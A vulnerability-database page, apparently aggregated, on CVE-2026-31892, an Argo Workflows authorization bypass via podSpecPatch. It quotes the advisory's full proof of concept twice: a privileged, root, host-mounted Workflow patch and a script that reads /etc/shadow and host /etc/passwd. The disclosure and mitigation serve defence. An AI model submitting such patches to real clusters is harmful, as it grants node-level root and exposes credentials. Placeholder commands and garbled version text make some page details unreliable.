CVE-2026-31892: Argo Workflows WorkflowTemplate Security Bypass Vulnerability

HIGH
Advisory Identifier: GHSA-3wf5-g532-rcrr
CWE-863
Published
Advisory Summary

CVE-2026-31892 is a HIGH workflowtemplate security bypass vulnerability (CWE-863: Incorrect Authorization) affecting Argo Workflows libraries in the Go ecosystem. The issue involves workflowtemplate security bypass via podspecpatch in strict/secure reference mode. Remediation is available by upgrading affected packages to version 4.0.2, 3.7.11.

CVE-2026-31892 at a Glance

CVE Identifier CVE-2026-31892
GHSA Identifier GHSA-3wf5-g532-rcrr
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-863: Incorrect Authorization
Affected Product Argo Workflows
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-31892

To remediate this vulnerability, upgrade all affected Argo Workflows dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/argoproj/argo-workflows/v4 fixed: 4.0.2
Upgrade github.com/argoproj/argo-workflows/v4 to 4.0.2
github.com/argoproj/argo-workflows/v3 fixed: 3.7.11
Upgrade github.com/argoproj/argo-workflows/v3 to 3.7.11
github.com/argoproj/argo-workflows fixed: Latest secure release
Upgrade github.com/argoproj/argo-workflows to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/argoproj/argo-workflows/v4

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-31892, inspect your project dependencies for Argo Workflows:

inspect dependencies for github.com/argoproj/argo-workflows/v4

Analyze the terminal output to locate any version of Argo Workflows in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-863: Incorrect Authorization, where the product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. In Argo Workflows, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary A user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation. ## Details Three issues combine to create this vulnerability: 1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value. 2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`. 3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present. ## PoC ### Prerequisites A local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/). #### 1. Create a kind cluster and install Argo Workflows ```bash kind create cluster --name argo-poc kubectl create namespace argo kubectl apply -n argo --server-side \ -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml ``` Note: `--server-side` is required because some CRDs exceed the client-side annotation size limit. Wait for the controller to be ready: ```bash kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s ``` #### 2. Enable `templateReferencing: Strict` Patch the workflow controller configmap to enforce Strict mode: ```bash kubectl patch configmap workflow-controller-configmap -n argo --type merge \ -p '{"data":{"workflowRestrictions":"templateReferencing: Strict\n"}}' ``` Restart the controller to pick up the new config: ```bash kubectl rollout restart deployment workflow-controller -n argo kubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s ``` #### 3. Verify Strict mode is active Attempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: strict-test- spec: entrypoint: test templates: - name: test container: image: alpine command: [echo, "hello"] EOF ``` The Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status: ```bash STRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1) kubectl get -n argo "$STRICT_WF" -o jsonpath='{.status.phase} {.status.message}' ``` Expected output: ``` Error workflows must use workflowTemplateRef to be executed when the controller is in reference mode ``` #### 4: Create a hardened WorkflowTemplate An administrator creates a `WorkflowTemplate` with restrictive security settings: ```bash cat <<'EOF' | kubectl apply -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: secure-template namespace: argo annotations: description: "Admin-approved secure template with hardened security settings" spec: entrypoint: secure-task securityContext: runAsNonRoot: true runAsUser: 1000 fsGroup: 1000 templates: - name: secure-task container: image: alpine:latest command: ["/bin/sh", "-c"] args: - | echo "=== Security Context Check ===" echo "Current UID: $(id -u)" echo "Current GID: $(id -g)" if cat /etc/shadow 2>/dev/null; then echo "EXPLOITED: Can read /etc/shadow!" else echo "SECURE: Cannot read /etc/shadow" fi if ls /host/etc/passwd 2>/dev/null; then echo "EXPLOITED: Host filesystem accessible!" cat /host/etc/passwd | head -5 else echo "SECURE: No host filesystem access" fi if [ "$(id -u)" = "0" ]; then echo "EXPLOITED: Running as root!" else echo "SECURE: Running as non-root (UID: $(id -u))" fi echo "=== End Check ===" securityContext: runAsNonRoot: true runAsUser: 1000 allowPrivilegeEscalation: false capabilities: drop: - ALL EOF ``` #### 5. Submit a legitimate Workflow (baseline) Submit a Workflow that references the secure template without modification: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: legit-use- namespace: argo spec: workflowTemplateRef: name: secure-template EOF ``` Wait for completion and check logs: ```bash LEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1) kubectl wait -n argo --for=condition=Completed "$LEGIT_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $LEGIT_WF)" -c main ``` Expected output (confirming the template's security settings are applied): ``` === Security Context Check === Current UID: 1000 Current GID: 0 SECURE: Cannot read /etc/shadow SECURE: No host filesystem access SECURE: Running as non-root (UID: 1000) === End Check === ``` #### 6. Submit the bypass Workflow Submit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings: ```bash cat <<'EOF' | kubectl create -n argo -f - apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: bypass-security- namespace: argo spec: workflowTemplateRef: name: secure-template podSpecPatch: | hostPID: true hostNetwork: true containers: - name: main securityContext: privileged: true runAsUser: 0 runAsNonRoot: false allowPrivilegeEscalation: true capabilities: add: - ALL drop: [] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / type: Directory EOF ``` Wait for completion and check logs: ```bash BYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1) kubectl wait -n argo --for=condition=Completed "$BYPASS_WF" --timeout=120s kubectl logs -n argo -l "workflows.argoproj.io/workflow=$(basename $BYPASS_WF)" -c main ``` Expected output (all security settings bypassed): ``` === Security Context Check === Current UID: 0 Current GID: 0 root:*::0::::: bin:!::0::::: [... /etc/shadow contents dumped ...] EXPLOITED: Can read /etc/shadow! EXPLOITED: Host filesystem accessible! root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin [... host /etc/passwd contents ...] EXPLOITED: Running as root! === End Check === ``` The file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0. ## Impact The purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature: > You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature. A user who can submit Workflows referencing approved templates can use `podSpecPatch` to: - Run containers as root (`runAsUser: 0`) - Enable privileged mode (`privileged: true`) - Mount the host filesystem (`hostPath` volumes) - Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`) - Add all Linux capabilities (`capabilities.add: ["ALL"]`) This effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`. The `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149. ## Mitigation When `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`. Without the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.

CVE-2026-31892 Affected Argo Workflows Versions

3 component(s)
Fixed Versions:
4.0.23.7.11
Product / Package Ecosystem Affected Versions Fixed Version
github.com/argoproj/argo-workflows/v4
Go
< 4.0.2
4.0.2
github.com/argoproj/argo-workflows/v3
Go
< 3.7.11
3.7.11
github.com/argoproj/argo-workflows
Go
≥ 2.9.0

References

Frequently Asked Questions

What is CVE-2026-31892?
CVE-2026-31892 is a security vulnerability in Argo Workflows involving WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode under CWE-863: Incorrect Authorization.
Which Argo Workflows versions are affected?
Affected versions include releases prior to 4.0.2, 3.7.11 across affected packages: github.com/argoproj/argo-workflows/v4, github.com/argoproj/argo-workflows/v3, github.com/argoproj/argo-workflows.
What version fixes CVE-2026-31892?
Upgrading to 4.0.2, 3.7.11 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/argoproj/argo-workflows/v4 affected?
Yes, github.com/argoproj/argo-workflows/v4 is affected in releases prior to 4.0.2. Upgrade your dependency to 4.0.2 or later.
Is github.com/argoproj/argo-workflows/v3 affected?
Yes, github.com/argoproj/argo-workflows/v3 is affected in releases prior to 3.7.11. Upgrade your dependency to 3.7.11 or later.
What CWE is associated with CVE-2026-31892?
CVE-2026-31892 is classified under CWE-863: Incorrect Authorization (The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.).
How can I check Go dependencies for CVE-2026-31892?
Run the dependency tree command: 'inspect dependencies for github.com/argoproj/argo-workflows/v4'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3wf5-g532-rcrr",
  "modified" : "2026-03-11T19:29:33Z",
  "published" : "2026-03-11T19:29:33Z",
  "aliases" : [ "CVE-2026-31892" ],
  "summary" : "Argo Workflows: WorkflowTemplate Security Bypass via podSpecPatch in Strict/Secure Reference Mode",
  "details" : "## Summary\n\nA user who can submit Workflows can completely bypass all security settings defined in a `WorkflowTemplate` by including a `podSpecPatch` field in their Workflow submission. This works even when the controller is configured with `templateReferencing: Strict`, which is specifically documented as a mechanism to restrict users to admin-approved templates. The `podSpecPatch` field on a submitted Workflow takes precedence over the referenced `WorkflowTemplate` during spec merging and is applied directly to the pod spec at creation time with no security validation.\n\n## Details\n\nThree issues combine to create this vulnerability:\n\n1. Merge priority order:`JoinWorkflowSpec` merges specs with the priority order Workflow Spec > WorkflowTemplate Spec > WorkflowDefault Spec. Because `podSpecPatch` is a plain string field, the Workflow's value replaces the WorkflowTemplate's value.\n\n2. No security validation on `podSpecPatch`: `ApplyPodSpecPatch()` only validates that the patch is syntactically valid JSON conforming to the Kubernetes `PodSpec` schema. No checks are performed for dangerous security settings such as `privileged: true`.\n\n3. `templateReferencing: Strict` does not restrict `podSpecPatch`: Strict mode only checks whether `WorkflowTemplateRef` is set. If it is, the Workflow passes validation regardless of what other fields (including `podSpecPatch`) are present.\n\n## PoC\n\n### Prerequisites\n\nA local Kubernetes cluster with Argo Workflows installed. The instructions below use [kind](https://kind.sigs.k8s.io/).\n\n#### 1. Create a kind cluster and install Argo Workflows\n\n```bash\nkind create cluster --name argo-poc\n\nkubectl create namespace argo\nkubectl apply -n argo --server-side \\\n  -f https://github.com/argoproj/argo-workflows/releases/download/v4.0.1/install.yaml\n```\n\nNote: `--server-side` is required because some CRDs exceed the client-side annotation size limit.\n\nWait for the controller to be ready:\n\n```bash\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 2. Enable `templateReferencing: Strict`\n\nPatch the workflow controller configmap to enforce Strict mode:\n\n```bash\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p '{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}'\n```\n\nRestart the controller to pick up the new config:\n\n```bash\nkubectl rollout restart deployment workflow-controller -n argo\nkubectl wait -n argo --for=condition=Ready pod -l app=workflow-controller --timeout=120s\n```\n\n#### 3. Verify Strict mode is active\n\nAttempt to submit a standalone Workflow (no `workflowTemplateRef`). It should be rejected:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: strict-test-\nspec:\n  entrypoint: test\n  templates:\n  - name: test\n    container:\n      image: alpine\n      command: [echo, \"hello\"]\nEOF\n```\n\nThe Workflow will be accepted by the API server but the controller will reject it. After a few seconds, check its status:\n\n```bash\nSTRICT_WF=$(kubectl get workflow -n argo -o name | grep strict-test | tail -1)\nkubectl get -n argo \"$STRICT_WF\" -o jsonpath='{.status.phase} {.status.message}'\n```\n\nExpected output:\n\n```\nError workflows must use workflowTemplateRef to be executed when the controller is in reference mode\n```\n\n#### 4: Create a hardened WorkflowTemplate\n\nAn administrator creates a `WorkflowTemplate` with restrictive security settings:\n\n```bash\ncat <<'EOF' | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: secure-template\n  namespace: argo\n  annotations:\n    description: \"Admin-approved secure template with hardened security settings\"\nspec:\n  entrypoint: secure-task\n  securityContext:\n    runAsNonRoot: true\n    runAsUser: 1000\n    fsGroup: 1000\n  templates:\n  - name: secure-task\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args:\n        - |\n          echo \"=== Security Context Check ===\"\n          echo \"Current UID: $(id -u)\"\n          echo \"Current GID: $(id -g)\"\n          if cat /etc/shadow 2>/dev/null; then\n            echo \"EXPLOITED: Can read /etc/shadow!\"\n          else\n            echo \"SECURE: Cannot read /etc/shadow\"\n          fi\n          if ls /host/etc/passwd 2>/dev/null; then\n            echo \"EXPLOITED: Host filesystem accessible!\"\n            cat /host/etc/passwd | head -5\n          else\n            echo \"SECURE: No host filesystem access\"\n          fi\n          if [ \"$(id -u)\" = \"0\" ]; then\n            echo \"EXPLOITED: Running as root!\"\n          else\n            echo \"SECURE: Running as non-root (UID: $(id -u))\"\n          fi\n          echo \"=== End Check ===\"\n      securityContext:\n        runAsNonRoot: true\n        runAsUser: 1000\n        allowPrivilegeEscalation: false\n        capabilities:\n          drop:\n            - ALL\nEOF\n```\n\n#### 5. Submit a legitimate Workflow (baseline)\n\nSubmit a Workflow that references the secure template without modification:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: legit-use-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nLEGIT_WF=$(kubectl get workflow -n argo -o name | grep legit-use | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$LEGIT_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $LEGIT_WF)\" -c main\n```\n\nExpected output (confirming the template's security settings are applied):\n\n```\n=== Security Context Check ===\nCurrent UID: 1000\nCurrent GID: 0\nSECURE: Cannot read /etc/shadow\nSECURE: No host filesystem access\nSECURE: Running as non-root (UID: 1000)\n=== End Check ===\n```\n\n#### 6. Submit the bypass Workflow\n\nSubmit a Workflow that references the same secure template but includes a `podSpecPatch` that overrides all security settings:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: bypass-security-\n  namespace: argo\nspec:\n  workflowTemplateRef:\n    name: secure-template\n  podSpecPatch: |\n    hostPID: true\n    hostNetwork: true\n    containers:\n    - name: main\n      securityContext:\n        privileged: true\n        runAsUser: 0\n        runAsNonRoot: false\n        allowPrivilegeEscalation: true\n        capabilities:\n          add:\n            - ALL\n          drop: []\n      volumeMounts:\n      - name: host-root\n        mountPath: /host\n    volumes:\n    - name: host-root\n      hostPath:\n        path: /\n        type: Directory\nEOF\n```\n\nWait for completion and check logs:\n\n```bash\nBYPASS_WF=$(kubectl get workflow -n argo -o name | grep bypass-security | tail -1)\nkubectl wait -n argo --for=condition=Completed \"$BYPASS_WF\" --timeout=120s\nkubectl logs -n argo -l \"workflows.argoproj.io/workflow=$(basename $BYPASS_WF)\" -c main\n```\n\nExpected output (all security settings bypassed):\n\n```\n=== Security Context Check ===\nCurrent UID: 0\nCurrent GID: 0\nroot:*::0:::::\nbin:!::0:::::\n[... /etc/shadow contents dumped ...]\nEXPLOITED: Can read /etc/shadow!\nEXPLOITED: Host filesystem accessible!\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n[... host /etc/passwd contents ...]\nEXPLOITED: Running as root!\n=== End Check ===\n```\n\nThe file `/etc/shadow` is readable (root), the host filesystem is mounted and accessible, and the container runs as UID 0.\n\n## Impact\n\nThe purpose of `templateReferencing: Strict` is to restrict users to only execute admin-approved `WorkflowTemplates`. This is explicitly [documented](https://argo-workflows.readthedocs.io/en/latest/security/) as a security feature:\n\n> You can typically further restrict what a user can do to just being able to submit workflows from templates using the workflow restrictions feature.\n\nA user who can submit Workflows referencing approved templates can use `podSpecPatch` to:\n\n- Run containers as root (`runAsUser: 0`)\n- Enable privileged mode (`privileged: true`)\n- Mount the host filesystem (`hostPath` volumes)\n- Share host PID/network/IPC namespaces (`hostPID`, `hostNetwork`, `hostIPC`)\n- Add all Linux capabilities (`capabilities.add: [\"ALL\"]`)\n\nThis effectively grants the user full root access to the underlying Kubernetes node, regardless of what security constraints the admin configured in the `WorkflowTemplate`.\n\nThe `templateReferencing` feature was introduced in Argo Workflows v2.9.0 through PR #3149.\n\n## Mitigation\n\nWhen `templateReferencing: Strict` or `Secure` is enabled, the controller should reject Workflows that include a `podSpecPatch` field when using `workflowTemplateRef`.\n\nWithout the codefix, deploying an admission controller (OPA/Gatekeeper, Kyverno) with policies that block dangerous pod settings (`privileged`, `hostPID`, `hostNetwork`, `hostIPC`, `hostPath`) on pods created by Argo Workflows.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v4"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.7.11"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/argoproj/argo-workflows"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.9.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "< 3.0.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-31892"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/argoproj/argo-workflows"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-863" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-11T19:29:33Z",
    "nvd_published_at" : "2026-03-11T16:16:44Z"
  }
}